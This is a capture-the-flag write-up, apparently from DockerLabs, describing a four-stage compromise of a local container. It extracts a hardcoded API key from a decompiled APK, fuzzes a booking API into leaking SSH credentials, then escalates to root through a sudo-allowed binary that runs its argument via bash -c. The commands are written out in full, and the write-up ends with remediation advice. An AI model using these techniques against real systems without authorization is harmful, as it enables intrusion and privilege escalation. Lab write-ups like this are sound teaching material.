InmoHogar Roomshare CTF — Write-Up

Yo, so this box was pretty fun. Docker container, 2 ports open, and a whole chain: APK → API → SSH → root. Let me walk through it.

Target: 172.17.0.2
Attacker: Parrot OS
Final flag: FLAG{stage4_root_270651efba41_1791925049}


1. Nmap

First thing, scanned the whole port range:

⎗
✓
nmap -p- -T4 --min-rate 1000 172.17.0.2

Got:

⎗
✓
22/tcp open  ssh
80/tcp open  http

Just SSH and HTTP. Nothing fancy. Let's poke the web.


2. Web Enumeration

Hit the root:

⎗
✓
curl -i http://172.17.0.2/

nginx 1.18.0, 1875-byte HTML page. Cool, some kind of booking app.

Time for gobuster:

⎗
✓
gobuster dir -u http://172.17.0.2/  -w /usr/share/wordlists/dirb/common.txt  -x php,txt,html,json,bak,old,zip -t 50

Got two interesting things:

⎗
✓
/about                (Status: 200) [Size: 70]
/booking              (Status: 301) --> http://172.17.0.2/booking/

Also noticed this in the HTML:

⎗
✓
href="/app-release.apk"

A whole APK just sitting there. Yeah, I'm gonna download that later.

Checking /booking

⎗
✓
curl -i http://172.17.0.2/booking/
⎗
✓
1
2
3
4
5
HTTP/1.1 404 Not Found
Content-Type: application/json
Content-Length: 22

{"error": "not found"}

JSON response. So it's an API, not a webpage.

Let me try all methods:

⎗
✓
1
2
3
4
for m in GET POST PUT DELETE OPTIONS; do
  echo "=== $m ==="
  curl -s -i -X $m http://172.17.0.2/booking/ | head -8
done

Results:

Method Status Response
GET 404 {"error": "not found"}
POST 401 {"status": 401, "message": "missing X-API-Key"}
PUT 501 Python http.server error
DELETE 501 same
OPTIONS 501 same

Boom. POST exists, needs X-API-Key header. And those 501 errors are from Python's built-in http.server behind nginx. Nice to know.


3. Stage 1 — APK Decompiling

Downloaded the APK:

⎗
✓
curl -O http://172.17.0.2/app-release.apk
file app-release.apk    # Zip archive

Decompiled with jadx:

⎗
✓
jadx -d /tmp/apk_jadx /tmp/app-release.apk

Grepped for secrets:

⎗
✓
grep -rniE "api[_-]?key|x-api-key|secret|flag" /tmp/apk_jadx/ 2>/dev/null

Found gold in BuildConfig.java:

⎗
✓
1
2
3
4
public static final String BOOKING_API_KEY = "BKGVlytSjDihCgXmNPm1cM6QwhRjrT86yJ2sEaf9";
public static final String AUTH_HEADER = "X-API-Key";
public static final String TENANT_ACCOUNT = "INMO-MAD-PRIMARY";
public static final String CTF_STAGE1 = "FLAG{stage1_buildconfig_leak_BKGVlytS}";

🚩 Stage 1: FLAG{stage1_buildconfig_leak_BKGVlytS}

Got the API key: BKGVlytSjDihCgXmNPm1cM6QwhRjrT86yJ2sEaf9


4. Stage 2 — Hitting the API

Tried the key on POST:

⎗
✓
curl -i -X POST http://172.17.0.2/booking/  -H "X-API-Key: BKGVlytSjDihCgXmNPm1cM6QwhRjrT86yJ2sEaf9"  -H "Content-Type: application/json" -d '{}'

Got 404 {"error": "not found"}.

Weird, right? But this actually tells us something. Before, with no key, we got 401 missing X-API-Key (47 bytes). With a bad key, we got 401 invalid key (41 bytes). Now with the right key, we get 404 not found (22 bytes). So the key is valid — we just need to find the right route.

Fuzzing the API

Wrote a Python script that hammered the API with thousands of routes, headers, bodies. 60 threads.

After a while:

⎗
✓
201 POST http://172.17.0.2/booking/api/sessions

Response:

⎗
✓
1
2
3
4
5
6
7
8
9
{
  "id": "SES-3579299B3BC8441E",
  "tenant_account": "INMO-MAD-PRIMARY",
  "property_id": "P-001",
  "reference": "poc-2be8df",
  "sessionData": "stage2_accepted_stage2_api_key_accepted_1791925049",
  "status": "open",
  "_ctf_hint": "Auth accepted (Stage 2). Next: SSH user=deploy pwd=c0mpartir-p1s0s"
}

🚩 Stage 2 done. SSH creds: deploy / c0mpartir-p1s0s

Why didn't the browser show this? Because the browser always sends GET, and this route only takes POST. Also, no browser sends X-API-Key by default. Always use curl for APIs.


5. Stage 3 — SSH

⎗
✓
sshpass -p 'c0mpartir-p1s0s' ssh -o StrictHostKeyChecking=no [email protected]

Logged in as deploy@270651efba41.

⎗
✓
ls -la
cat /home/deploy/flag-stage3.txt

🚩 Stage 3: stage3_ssh_user_land_270651efba41

So now I'm a low-priv user. Time to root.


6. Stage 4 — PrivEsc (the sudo part)

First thing you always do after landing on a box:

⎗
✓
sudo -l

Output:

⎗
✓
1
2
3
User deploy may run the following commands on 270651efba41:
    (root) NOPASSWD: /opt/decompile/ssh/privesc/manage-svc
    (ALL)  NOPASSWD: /usr/local/bin/restart-booking-gw

Two things jump out:

  1. manage-svc — runs as root, no password required.
  2. restart-booking-gw — also NOPASSWD, but the file doesn't exist (checked with ls). Potential path hijack, but let's try manage-svc first.

Looking at manage-svc

⎗
✓
ls -la /opt/decompile/ssh/privesc/manage-svc
file /opt/decompile/ssh/privesc/manage-svc

It's an ELF 64-bit binary. Before running it, let's see what strings it has:

⎗
✓
strings -n 6 /opt/decompile/ssh/privesc/manage-svc

The interesting ones:

⎗
✓
usage: manage-svc <action>
manage-svc: must be SUID (euid=%d)
logger -t decompile-ctf 'restart-booking-gw: %s' >/dev/null 2>&1 ; %s
-c
bash
/bin/bash
execl
setuid
setgid
geteuid

Read it slowly. The binary:

  1. Calls geteuid() — checks if it's SUID.
  2. If not, refuses to run.
  3. If yes, calls setuid(0) + setgid(0) → root.
  4. Then runs something like:
⎗
✓
execl("/bin/bash", "bash", "-c", action, NULL);

So it takes the action argument and runs it as root via bash -c. That's the whole vuln. It's a sudo-allowed binary that spawns a root shell with whatever command you give it.

Popping root

You could just pass bash and get a root shell:

⎗
✓
sudo /opt/decompile/ssh/privesc/manage-svc bash

Output:

⎗
✓
1
2
3
4
usage: manage-svc <action>
bash: line 1: restart: command not found
root@270651efba41:/home# id
uid=0(root) gid=0(root) groups=0(root)

Root. 🎉

Note: the "usage" line and "restart: command not found" are just noise from the binary's logger before it actually runs the action. Ignore them.

Alternative one-shot (no shell)

If you don't want a shell, you can just run any command:

⎗
✓
sudo /opt/decompile/ssh/privesc/manage-svc 'cat /root/flag-root.txt'

Grabbing the final flag

⎗
✓
root@270651efba41:~# cat flag-root.txt
FLAG{stage4_root_270651efba41_1791925049}

🚩 Stage 4 (final): FLAG{stage4_root_270651efba41_1791925049}

Why this worked (the "why")

The binary has two security problems stacked on top of each other:

  1. It's SUID root — anyone who runs it gets euid=0 inside the process.
  2. It runs bash -c <arg> after dropping into root — meaning any string you pass gets executed as root.

Combined with sudo -l allowing deploy to run it without a password, it's a straight shot to root. Even without sudo, SUID alone would be enough — the binary explicitly checks geteuid() and only proceeds if it's running SUID.

This is a textbook GTFOBins-style escalation. Same idea as sudo vim, sudo find, sudo python3 — anything that lets you spawn a shell or run arbitrary code while privileged.


7. Chain Recap

Stage What Flag
1 APK → BuildConfig leak FLAG{stage1_buildconfig_leak_BKGVlytS}
2 POST /booking/api/sessions with API key → SSH creds
3 SSH as deploy stage3_ssh_user_land_270651efba41
4 sudo manage-svc bash → root FLAG{stage4_root_270651efba41_1791925049}

8. How to Fix This Stuff

If I were a dev on this app:

  • Don't hardcode API keys in the APK. Anyone can decompile it in 2 minutes. Fetch secrets from a server after auth.
  • Don't return different errors for "missing key" vs "invalid key". Just say "unauthorized" for both. Otherwise you're telling attackers which keys are close.
  • Rate-limit the API. Fuzzing found that route in seconds with 60 threads.
  • Strong SSH passwords. Or better, SSH keys only, disable password auth.
  • Don't write SUID binaries that run bash -c <user-input> as root. That's basically handing out root. Whitelist commands, or better, don't use a shell at all.
  • Don't sudo NOPASSWD on anything that spawns a shell. manage-svc should not have been allowed.

9. Tools I Used

  • nmap — port scan
  • gobuster — dir brute force
  • curl — manual API calls
  • jadx — APK decompilation
  • Python + requests + ThreadPoolExecutor — custom aggressive fuzzer
  • sshpass — SSH login
  • strings, sudo -l — Linux enum

10. Final Thoughts

Cool box. Chain made sense — each stage gave you exactly what you needed for the next. The tricky part was Stage 2 because you had to figure out:

  1. The correct method (POST, not GET)
  2. The correct header (X-API-Key)
  3. The correct route (/booking/api/sessions)

Once you had the API key from the APK, it was just a matter of fuzzing until something different popped up. Everything after that was pretty standard — SSH with leaked creds, then a badly-written SUID binary for root.

4/4 flags. Box owned. 🏆


by: Break — 2026-10-14 — DockerLabs

Edit

Pub: 14 Oct 2026 11:54 UTC

Edit: 14 Oct 2026 14:25 UTC

Views: 8